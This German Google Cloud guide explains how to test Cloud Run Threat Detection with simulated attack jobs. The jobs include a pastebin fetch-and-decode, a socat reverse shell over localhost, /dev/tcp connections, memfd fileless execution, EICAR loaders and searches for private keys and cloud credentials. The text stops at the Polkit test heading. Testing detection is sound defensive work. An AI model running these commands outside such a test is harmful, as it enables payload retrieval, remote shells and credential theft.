Cloud Run Threat Detection testen

Auf dieser Seite wird erläutert, wie Sie prüfen können, ob Cloud Run Threat Detection funktioniert, indem Sie Detektoren auslösen und auf Ergebnisse prüfen. Die Cloud Run-Bedrohungserkennung ist ein integrierter Dienst von Security Command Center.

Hinweis

Damit potenzielle Bedrohungen für Ihre Cloud Run-Dienste und -Jobs erkannt werden können, muss der Cloud Run Threat Detection-Dienst in Security Command Center aktiviert sein. Einige Detektoren sind standardmäßig deaktiviert. Wenn Sie diese Detektoren testen möchten, müssen Sie sie zuerst aktivieren.

Umgebungsvariablen festlegen

Zum Testen von Detektoren verwenden Sie die Google Cloud Console und Cloud Shell. Sie können Umgebungsvariablen in Cloud Shell festlegen, um die Ausführung von Befehlen zu vereinfachen. Sie verwenden diese Variablen, um alle Detektoren zu testen.

  1. Rufen Sie die Google Cloud Console auf.

    Rufen Sie die Google Cloud Console auf.

  2. Wählen Sie das Projekt aus, das den Cloud Run-Job enthält, den Sie zum Testen verwenden möchten.

  3. Klicken Sie auf Cloud Shell aktivieren.

  4. Legen Sie in Cloud Shell die Umgebungsvariablen fest:

    1. Legen Sie das Projekt und die Region fest, in denen Sie Testjobs erstellen möchten.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Nachdem Sie die Umgebungsvariablen festgelegt haben, können Sie der Anleitung zum Testen von Detektoren folgen.

Command and Control: Steganographie-Tool erkannt

Wenn Sie ein Ergebnis des Typs Command and Control: Steganography Tool Detected (Vorschau) auslösen möchten, führen Sie eine Binärdatei mit Funktionen zur Dateimanipulation aus, die mit Steganografietools in einem Container übereinstimmen. In diesem Beispiel wird /bin/ls kopiert und in steghide umbenannt.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Command and Control: Steganography Tool Detected-Ergebnis erstellt.

Zugriff auf Anmeldedaten: Suche Google Cloud Anmeldedaten

Wenn Sie ein Ergebnis des Typs Credential Access: Find Google Cloud Credentials auslösen möchten, führen Sie eine Binärdatei aus, mit der sich Dateiinhalte in einem Container durchsuchen lassen. In diesem Beispiel wird /bin/ls kopiert, in grep umbenannt und mit verdächtigen Argumenten ausgeführt.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Find Google Cloud Credentials erstellt.

Zugriff auf Anmeldedaten: Ausspähung von GPG-Schlüsseln

Wenn Sie ein Credential Access: GPG Key Reconnaissance-Ergebnis auslösen möchten, führen Sie ein Suchtool mit verdächtigen Argumenten aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: GPG Key Reconnaissance erstellt.

Zugriff auf Anmeldedaten: Suche nach privaten Schlüsseln oder Passwörtern

Um ein Credential Access: Search Private Keys or Passwords-Ergebnis auszulösen, führen Sie ein Suchtool mit verdächtigen Argumenten aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Credential Access: Search Private Keys or Passwords-Ergebnis erstellt.

Defense Evasion: Base64 ELF File Command Line

Um ein Defense Evasion: Base64 ELF File Command Line-Ergebnis auszulösen, führen Sie base64 mit codierten ELF-Header-Argumenten aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren sollten zwei Defense Evasion: Base64 ELF File Command Line-Ergebnisse generiert werden.

Defense Evasion: Base64 Encoded Python Script Executed

Um einen Defense Evasion: Base64 Encoded Python Script Executed-Befund auszulösen, führen Sie echo mit einem codierten Python-Befehl aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Python Script Executed erstellt.

Defense Evasion: Base64 Encoded Shell Script Executed

Wenn Sie eine Defense Evasion: Base64 Encoded Shell Script Executed-Suche auslösen möchten, führen Sie echo mit einem codierten Shell-Befehl aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Base64 Encoded Shell Script Executed erstellt.

Defense Evasion: Compiler-Tool für Code im Container gestartet

Um ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis (Vorabversion) auszulösen, führen Sie ein Compiler-Tool aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Defense Evasion: Launch Code Compiler Tool In Container-Ergebnis erstellt.

Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: Hinzugefügte schädliche Binärdatei ausgeführt“ auslösen möchten, fügen Sie Ihrem Container eine schädliche Binärdatei (EICAR) hinzu und führen Sie sie aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Hinzugefügtes schädliches Binärprogramm ausgeführt“ erstellt.

Ausführung: Hinzugefügte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs „Ausführung: hinzugefügte schädliche Bibliothek geladen“ auslösen möchten, fügen Sie eine schädliche Bibliothek in Ihren Container ein und laden Sie sie. In diesem Beispiel wird die Datei /tmp/test_mal_lib mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden der Bibliothek einer vorhandenen Datei ist unerwartet, da die Datei nicht im ursprünglichen Container-Image enthalten war und die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /tmp/test_mal_lib
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: hinzugefügte schädliche Bibliothek geladen“ erstellt.

Ausführung: Container-Escape

Wenn Sie ein Ergebnis des Typs „Ausführung: Container-Escape“ auslösen möchten, führen Sie ein Tool aus, das Container-Escape-Verhalten simuliert.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Mit diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Container Escape“ erstellt.

Ausführung: Dateilose Ausführung in /memfd:

Um einen Execution: Fileless Execution in /memfd:-Befund auszulösen, führen Sie einen Prozess aus dem /memfd:-In-Memory-Dateisystem mit Python aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   PYTHON_CODE=$(cat <<EOF
   import os,sys
   f = open('/bin/ls','rb')
   execdata = f.read()
   f.close()
   fd = os.memfd_create('', 0)
   fname = '/proc/self/fd/{}'.format(fd)
   f = open(fname,'wb')
   f.write(execdata)
   f.close()
   args = ['/bin']
   os.execve(fname, args, os.environ)
   EOF
   )
   B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command=bash \
      --args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Fileless Execution in /memfd: erstellt.

Execution: Kubernetes Attack Tool Execution

Wenn Sie ein Ergebnis des Typs „Execution: Kubernetes Attack Tool Execution“ auslösen möchten, führen Sie ein Programm aus, das einem bekannten Angriffstool entspricht.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Execution: Kubernetes Attack Tool Execution“ erstellt.

Ausführung: Ausführung eines lokalen Ausspähtools

Wenn Sie ein Ergebnis des Typs Execution: Local Reconnaissance Tool Execution auslösen möchten, führen Sie ein Programm aus, das einem Aufklärungstool entspricht.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Lokales Ausspähtool ausgeführt“ erstellt.

Ausführung: Geändertes schädliches Binärprogramm ausgeführt

Wenn Sie ein Ergebnis des Typs „Ausführung: geändertes schädliches Binärprogramm ausgeführt“ auslösen möchten, ändern Sie ein Binärprogramm so, dass es einer bekannten schädlichen Signatur (EICAR) entspricht.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Geändertes schädliches Binärprogramm ausgeführt“ erstellt.

Ausführung: Geänderte schädliche Bibliothek geladen

Wenn Sie ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ auslösen möchten, ändern Sie eine vorhandene Datei mit einer schädlichen Bibliothek in Ihrem Container und laden Sie sie. In diesem Beispiel wird die Datei /etc/issue mit einer simulierten schädlichen Bibliothek aktualisiert und dann mit mmap geladen. Das Laden der Bibliothek einer vorhandenen Datei ist unerwartet, da die Bibliothek eine EICAR-Testdatei ist, die von Threat Intelligence als schädlich eingestuft wird.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   cat << 'EOF2' > JOB_NAME.sh
   apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
   echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
   cat << 'EOF' > /tmp/loader.c
   #include <fcntl.h>
   #include <sys/mman.h>
   #include <sys/stat.h>
   #include <unistd.h>
   #include <stdlib.h>
   int main(int argc, char *argv[]) {
      int fd = open(argv[1], O_RDONLY);
      if (fd == -1) return 1;
      struct stat sb;
      if (fstat(fd, &sb) == -1) return 1;
      void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
      if (addr == MAP_FAILED) return 1;
      write(1, addr, sb.st_size);
      munmap(addr, sb.st_size);
      close(fd);
      return 0;
   }
   EOF
   gcc /tmp/loader.c -o /tmp/loader
   sleep 30
   /tmp/loader /etc/issue
   sleep 10
   EOF2
   ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
   rm -f JOB_NAME.sh
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Ausführung: Geänderte schädliche Bibliothek geladen“ erstellt.

Ausführung: Netcat-Remote-Codeausführung im Container

Um ein Execution: Netcat Remote Code Execution In Container-Ereignis auszulösen, führen Sie „netcat“ mit verdächtigen Argumenten aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Netcat Remote Code Execution In Container-Ergebnis erstellt.

Ausführung: Mögliche Ausführung beliebiger Befehle über CUPS (CVE-2024-47076)

Wenn Sie ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)-Ergebnis auslösen möchten, führen Sie ein Skript aus, das den Exploit simuliert.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) erstellt.

Ausführung: Mögliche Remote-Befehlsausführung erkannt

Um einen Execution: Possible Remote Command Execution Detected-Befund (Vorschau) auszulösen, führen Sie einen Befehl aus, mit dem eine Remote-Verbindung hergestellt werden soll.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Possible Remote Command Execution Detected-Ergebnis erstellt.

Ausführung: Programmausführung mit nicht zulässiger HTTP-Proxy-Umgebung

Um ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis auszulösen, führen Sie ein Programm mit einer fehlerhaften Proxy-Umgebungsvariable aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Program Run with Disallowed HTTP Proxy Env-Ergebnis erstellt.

Ausführung: Socat-Reverse-Shell erkannt

Um ein Execution: Socat Reverse Shell Detected-Ergebnis auszulösen, richten Sie mit dem socat-Tool eine Reverse Shell ein.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
   B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Socat Reverse Shell Detected erstellt.

Ausführung: Verdächtiges freigegebenes OpenSSL-Objekt geladen

Um ein Execution: Suspicious OpenSSL Shared Object Loaded-Ergebnis auszulösen, führen Sie openssl mit einer verdächtigen Bibliothek aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Execution: Suspicious OpenSSL Shared Object Loaded erstellt.

Exfiltration: Remote-Tools zum Kopieren von Dateien im Container gestartet

Wenn Sie ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis auslösen möchten, führen Sie ein Tool zum Kopieren von Daten aus der Ferne aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Exfiltration: Launch Remote File Copy Tools In Container-Ergebnis erstellt.

Auswirkungen: Erkennung schädlicher Cmdline-Dateien

Um ein Impact: Detect Malicious Cmdlines-Ergebnis (Preview) auszulösen, führen Sie einen verdächtigen Befehlsnamen (IPFS) aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Detect Malicious Cmdlines erstellt.

Auswirkung: Bulk-Entfernung von Daten von Laufwerk

Wenn Sie ein Impact: Remove Bulk Data From Disk-Ergebnis auslösen möchten, führen Sie ein Tool wie shred aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Remove Bulk Data From Disk erstellt.

Auswirkung: Verdächtige Cryptomining-Aktivität mit Stratum-Protokoll

Wenn Sie eine Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol-Suche auslösen möchten, führen Sie eine Binärdatei mit Argumenten aus, die denen ähneln, die von Kryptowährung-Mining-Software verwendet werden, die über das Stratum-Protokoll kommuniziert.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Impact: Suspicious cryptocurrency mining activity using the Stratum Protocol-Ergebnis erstellt.

Schädliches Script ausgeführt

Wenn Sie ein Ergebnis des Typs „Schädliches Skript ausgeführt“ auslösen möchten, führen Sie ein Skript aus, das schädliches Verhalten imitiert.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Schädliches Skript ausgeführt“ erstellt.

Schädliche URL beobachtet

Wenn Sie ein Ergebnis des Typs „Schädliche URL beobachtet“ auslösen möchten, führen Sie eine Binärdatei aus und geben Sie eine schädliche URL als Argument an.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Ergebnis des Typs „Schädliche URL beobachtet“ ausgelöst.

Rechteausweitung: Missbrauch von Sudo zur Rechteausweitung (CVE-2019-14287)

Wenn Sie eine Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)-Suche auslösen möchten, führen Sie die Binärdatei sudo mit dem Parameter -u#-1 aus.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) erstellt.

Rechteausweitung: Mögliche Rechteausweitung durch Sudo (CVE-2021-3156)

Um einen Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)-Befund auszulösen, führen Sie die Binärdatei sudo mit dem Parameter -s und einem Parameter aus, der mit `` endet.

Cloud Run-Job erstellen und ausführen:

   JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Bei diesem Testverfahren wird ein Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) erstellt.

Rechteausweitung: Sicherheitslücke bei der lokalen Rechteausweitung in Polkit (CVE-2021-4034)

Um das Ergebnis Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) auszulösen, führen Sie eine pkexec-Binärdatei mit der Umgebungsvariable GCONV_PATH als Nutzer ohne Rootberechtigung aus.

Cloud Run-Job erstellen und ausführen:

